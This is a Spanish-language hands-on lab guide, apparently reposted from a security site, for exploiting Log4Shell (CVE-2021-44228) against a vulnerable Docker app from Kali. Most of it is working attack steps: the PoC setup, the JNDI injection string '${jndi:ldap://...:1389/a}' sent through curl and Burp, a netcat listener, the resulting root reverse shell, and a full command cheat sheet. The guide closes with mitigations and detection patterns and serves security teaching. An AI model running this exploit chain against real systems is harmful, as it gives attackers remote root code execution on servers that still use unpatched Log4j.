Explotando Log4Shell (CVE-2021-44228): Un Laboratorio de Demostración Completo y Moderno

Log4Shell (CVE-2021-44228) es una de las vulnerabilidades de ejecución remota de código más impactantes jamás divulgadas. Afecta a Apache Log4j 2, un framework de registro (logging) de Java ampliamente utilizado, y permite a los atacantes ejecutar código arbitrario mediante el abuso de búsquedas JNDI en mensajes de registro.

Esta guía proporciona un laboratorio de demostración completo y reproducible que utiliza:

• Kali Linux (atacante)
• Una aplicación Log4j2 vulnerable contenedizada con Docker
• El PoC público log4j-shell-poc
• curl, Burp Suite y Netcat

Está diseñada exclusivamente para enseñanza, investigación, formación y concienciación defensiva en entornos controlados. La estructura y el estilo siguen el mismo espíritu que el README del laboratorio complementario «Shellshock».

📌 Tabla de Contenidos

0. Aviso Legal y Ético
1. Resumen General
2. Objetivos de Aprendizaje
3. Arquitectura del Laboratorio
4. Requisitos Previos
5. Instalar JDK 1.8.0_202 en Kali
6. Desplegar la Aplicación Log4j Vulnerable (Docker)
7. Preparar el PoC del Exploit
8. Configurar poc.py para Usar JDK 1.8.0_202
9. Iniciar los Servicios del Exploit (LDAP + HTTP + Payload)
10. Iniciar el Listener de Reverse Shell
11. Explotar Log4Shell mediante curl
12. Explotar Log4Shell mediante Burp Suite
13. Diagrama de la Cadena de Ataque
14. Contramedidas y Defensa
15. Hoja de Referencia (Todos los Comandos)
16. Galería de Capturas de Pantalla (Opcional)
17. Referencias
18. Créditos

0. Aviso Legal y Ético

Este laboratorio solo debe realizarse en un entorno controlado donde tengas autorización explícita (tu propio laboratorio, máquinas virtuales de clase, etc.).

• No ataques sistemas de producción.
• No lo ejecutes contra hosts que no poseas o administres.
• Utiliza este material únicamente con fines educativos, de investigación y de defensa.

1. Resumen General

Log4Shell (CVE-2021-44228) es una vulnerabilidad crítica de RCE en Apache Log4j 2.

El problema surge porque las versiones vulnerables de Log4j2 interpretan cadenas controladas por el atacante como:

${jndi:ldap://ATTACKER_IP:1389/a}

Cuando esta cadena se registra, Log4j:

1. Realiza una búsqueda JNDI (p. ej., mediante LDAP) hacia un servidor controlado por el atacante.
2. Recibe una referencia a una clase Java maliciosa.
3. Descarga la clase por HTTP y la carga en la JVM.
4. La ejecuta, lo que produce ejecución remota de código.

En este laboratorio:

• Ejecutarás una aplicación web Log4j2 vulnerable dentro de un contenedor Docker.
• Ejecutarás un servidor LDAP + HTTP malicioso en Kali usando log4j-shell-poc.
• Entregarás el payload de Log4Shell mediante curl y mediante Burp Suite.
• Capturarás una reverse shell desde el contenedor vulnerable.

2. Objetivos de Aprendizaje

Al finalizar este laboratorio, deberías ser capaz de:

1. Explicar a alto nivel cómo funciona Log4Shell y por qué JNDI es peligroso cuando se usa indebidamente.
2. Desplegar una aplicación Log4j2 vulnerable usando Docker.
3. Instalar y configurar JDK 1.8.0_202, requerido por el PoC.
4. Ejecutar un servidor LDAP malicioso y un servidor HTTP mediante el script del PoC.
5. Disparar la vulnerabilidad y obtener una reverse shell.
6. Usar Burp Suite para inyectar el exploit en una cabecera HTTP.
7. Discutir mitigaciones realistas y estrategias de detección.

3. Arquitectura del Laboratorio

Todos los componentes se ejecutan sobre tu laboratorio virtual existente. Para esta documentación asumimos:

• La VM de Kali Linux es el atacante.
• Kali también ejecuta el contenedor Docker que contiene la aplicación vulnerable.

Idea clave

El atacante inyecta:

${jndi:ldap://192.168.1.4:1389/a}

en una cabecera HTTP. La aplicación vulnerable la registra usando Log4j2 → realiza una búsqueda JNDI LDAP hacia 192.168.1.4:1389 → descarga una clase maliciosa desde http://192.168.1.4:8000 → ejecuta la clase, que abre una reverse shell de vuelta a 192.168.1.4:9001.

4. Requisitos Previos

En Kali necesitas:

• Docker (instalado y funcionando).
• Python 3 (predeterminado en Kali).
• Netcat (nc).
• Burp Suite (la Community Edition es suficiente).
• Acceso a Internet para las descargas iniciales.
• Familiaridad básica con Linux y HTTP.

A lo largo de esta guía asumimos que la IP de Kali es:

192.168.1.4

Si tu IP es diferente, ajusta todos los comandos en consecuencia.

5. Instalar JDK 1.8.0_202 en Kali (Obligatorio)

El PoC depende de Java SE 8 Update 202 (JDK 1.8.0_202) porque las versiones posteriores de Java restringen el comportamiento de carga remota de clases que utiliza este exploit.

Incluso si Kali ya tiene OpenJDK 21 (o similar), igualmente necesitas instalar 8u202 por separado.

5.1 Crear un directorio de trabajo

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 Descargar JDK 8u202 desde el espejo de HuaweiCloud

Raíz del espejo:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Descarga el tarball para Linux x64 (≈185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # debería ser ~185M

5.3 Extraer en /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

La opción --strip-components=1 elimina el directorio de nivel superior del archivo para que los archivos queden directamente en /usr/bin/jdk1.8.0_202.

5.4 Verificar la instalación

/usr/bin/jdk1.8.0_202/bin/java -version

Salida esperada:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Si ves esto, JDK 1.8.0_202 está correctamente instalado.

6. Desplegar la Aplicación Log4j Vulnerable (Docker en Kali)

En una nueva terminal en Kali (puedes permanecer en ~/Log4Shell):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

Deberías ver registros similares a:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...

• La aplicación ahora es accesible en http://127.0.0.1:8080/ desde Kali.
• Deja esta terminal en ejecución. Este es tu objetivo.

Verificación rápida:

curl http://127.0.0.1:8080/

Puede que veas una Whitelabel Error Page (HTTP 400). Eso está bien: todo lo que necesitamos es que la aplicación esté ejecutándose y registrando las peticiones.

7. Preparar el PoC del Exploit en Kali

7.1 Clonar log4j-shell-poc

En una nueva terminal:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

Confirmar los archivos:

ls
# poc.py, target/, README, etc. Exploit.java se generará más tarde.

8. Configurar poc.py para Usar JDK 1.8.0_202

Por defecto, poc.py espera encontrar un JDK local en un directorio llamado jdk1.8.0_20 dentro del repositorio. En su lugar, instalaste JDK 8u202 en /usr/bin/jdk1.8.0_202, por lo que debes actualizar el script.

8.1 Abrir poc.py en un editor

nano poc.py

8.2 Identificar las líneas originales de la ruta de Java

Busca jdk1.8.0_20 (en nano: Ctrl+W, escribe jdk1.8.0_20, pulsa Enter).

Deberías encontrar tres apariciones, como:

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 Reemplazar con rutas absolutas hacia JDK 8u202

Reemplázalas con:

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

Guardar y salir:

• Ctrl + O → Enter
• Ctrl + X

Ahora el PoC usa JDK 1.8.0_202 desde /usr/bin.

9. Iniciar los Servicios del Exploit (LDAP + HTTP + Generador de Payload)

Desde ~/Log4Shell/log4j-shell-poc:

9.1 Ejecutar el script del PoC

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

Parámetros:

• --userip – tu IP de Kali (atacante): p. ej. 192.168.1.4.
• --webport – puerto para el servidor HTTP embebido: 8000.
• --lport – puerto al que el payload se conectará de vuelta: 9001.

Si todo está configurado correctamente, deberías ver algo como:

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

Importante:

• El servidor LDAP está escuchando en el puerto 1389.

• El servidor HTTP está escuchando en el puerto 8000.

• El payload exacto a inyectar se imprime:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

Deja esta terminal en ejecución.

10. Iniciar el Listener de Reverse Shell (Netcat)

Abre otra terminal nueva en Kali:

nc -nvlp 9001

Deberías ver:

listening on [any] 9001 ...

Este listener recibirá la reverse shell desde la aplicación vulnerable.

En este punto deberías tener:

1. Contenedor Docker ejecutando la aplicación vulnerable (puerto 8080).
2. poc.py ejecutando LDAP (1389) y HTTP (8000).
3. Netcat escuchando en 9001.

11. Explotar Log4Shell mediante curl

Primero, demuestra que el exploit funciona usando una petición HTTP cruda.

En una nueva terminal (o reutiliza una si está disponible):

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

Lo que sucede:

1. La aplicación vulnerable recibe la petición y registra la cabecera X-Api-Version.
2. Log4j2 ve ${jndi:ldap://192.168.1.4:1389/a} y realiza una búsqueda JNDI LDAP.
3. Tu servidor LDAP (dentro de poc.py) responde con una referencia a una clase Java maliciosa alojada en tu servidor HTTP.
4. La aplicación descarga y ejecuta la clase.
5. La clase se conecta de vuelta a 192.168.1.4:9001 y abre una shell.

Si tiene éxito, tu terminal de Netcat mostrará:

connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

Ahora tienes una shell root dentro del contenedor Docker.

Prueba con:

id
hostname
ls /

Sal con:

exit

Netcat volverá a quedar en escucha.

12. Explotar Log4Shell mediante Burp Suite (Estilo Navegador)

Ahora demuestra la misma ruta de explotación usando un navegador intermediado por Burp Suite.

12.1 Configurar Firefox para usar Burp como proxy

1. Inicia Burp Suite en Kali.

2. En Burp, asegúrate de que el listener del Proxy esté ejecutándose en 127.0.0.1:8080.

3. En Firefox:

   • Configuración → Configuración de Red → Configuración manual del proxy.
   • HTTP Proxy: 127.0.0.1, Puerto: 8080.
   • Marca «Usar este proxy también para HTTPS».
   • Asegúrate de que no haya exclusiones para 127.0.0.1.

12.2 Capturar una petición inicial

1. En Burp → Proxy → Intercept, asegúrate de que Intercept esté ACTIVADO.

2. En Firefox, navega a:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. Burp mostrará la petición interceptada, p. ej.:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 Enviar la petición a Repeater

1. En la pestaña Proxy → Intercept, haz clic derecho en la petición.
2. Selecciona Send to Repeater.
3. Cambia a la pestaña Repeater.

12.4 Inyectar el payload de Log4Shell en una cabecera HTTP

En Repeater, modifica la petición para incluir una cabecera X-Api-Version:

GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Notas:

• Reemplaza 192.168.1.4 por tu IP real de Kali si es diferente.
• No codifiques en URL los caracteres ${} – deben aparecer exactamente como se muestran.
• Connection: close simplifica las cosas (opcional).

12.5 Enviar la petición maliciosa

1. Confirma que poc.py y el listener de Netcat sigan ejecutándose.
2. Haz clic en Send en Burp Repeater.

Puedes volver a ver una 400 Whitelabel Error Page – eso está bien.

Revisa tu terminal de Netcat:

listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...

Una vez más has obtenido una shell root en el contenedor, esta vez usando una petición HTTP modificada con Burp, lo que refleja un flujo de explotación web realista.

13. Cómo Funciona la Cadena del Exploit (Resumen Técnico)

1. El atacante construye el payload JNDI:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. La aplicación vulnerable registra esta cadena usando Log4j2.

3. Log4j2 interpreta ${jndi:...} y realiza una búsqueda JNDI.

4. La búsqueda usa LDAP para contactar al servidor LDAP del atacante en 192.168.1.4:1389.

5. El servidor LDAP (marshalsec) responde con una javaNamingReference que apunta a una clase controlada por el atacante alojada por HTTP, p. ej.:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. La JVM víctima descarga y carga esta clase.

7. El constructor de la clase abre un socket de vuelta a 192.168.1.4:9001 y vincula /bin/sh a él.

8. El listener de Netcat del atacante recibe la conexión entrante y obtiene una shell root remota dentro del contenedor.

14. Mitigación y Defensa

En entornos reales, se deben aplicar múltiples capas defensivas.

14.1 Actualizar Log4j2

• Actualiza a 2.17.1 o posterior (o la versión segura recomendada por el proveedor).
• Estas versiones deshabilitan o restringen fuertemente las búsquedas JNDI por defecto.

14.2 Deshabilitar JNDI / búsquedas en mensajes

Para despliegues aún vulnerables, añade:

-Dlog4j2.formatMsgNoLookups=true

(Donde corresponda – ten en cuenta que no todas las configuraciones vulnerables se corrigen solo con esta bandera.)

14.3 Eliminar JndiLookup de los JAR de log4j-core

Como medida de defensa en profundidad:

zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

14.4 Reforzar el acceso de red saliente

• Restringe LDAP, RMI y HTTP arbitrario saliente desde los servidores de aplicaciones.
• El filtrado de egreso y las políticas estrictas de firewall pueden impedir que los servidores alcancen infraestructura controlada por el atacante.

14.5 Detección y Monitorización

• Busca en los registros patrones sospechosos como ${jndi: o ${${lower:j}${upper:ndi}:.
• Monitoriza conexiones LDAP/RMI salientes inusuales desde los servidores.
• Despliega reglas IDS/IPS/SIEM para indicadores de Log4Shell y tráfico de PoC.

15. Hoja de Referencia de Comandos

Una visión condensada de los comandos utilizados en este laboratorio.

15.1 Directorio de trabajo

mkdir -p ~/Log4Shell
cd ~/Log4Shell

15.2 Descargar JDK 8u202 (≈185 MB)

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz

15.3 Instalar JDK 1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

/usr/bin/jdk1.8.0_202/bin/java -version

15.4 Ejecutar la aplicación Docker vulnerable

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

15.5 Clonar el repositorio del PoC

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

15.6 Actualizar las rutas de Java en poc.py (resumen)

Reemplaza:

os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java")  # dos usos

Con:

"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"

15.7 Iniciar PoC (LDAP + HTTP + payload)

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

15.8 Listener de reverse shell con Netcat

nc -nvlp 9001

15.9 Explotar mediante curl

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

15.10 Cadena del payload para cabeceras

${jndi:ldap://192.168.1.4:1389/a}

15.11 Cabecera para Burp Repeater

X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}

16. Galería de Capturas de Pantalla

17. Referencias

• PoC original: kozmer/log4j-shell-poc
• Aplicación demo vulnerable: christophetd/log4shell-vulnerable-app
• Vulnerabilidades de seguridad de Apache Log4j: https://logging.apache.org/log4j/2.x/security.html
• Entrada NIST NVD para CVE-2021-44228: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. Créditos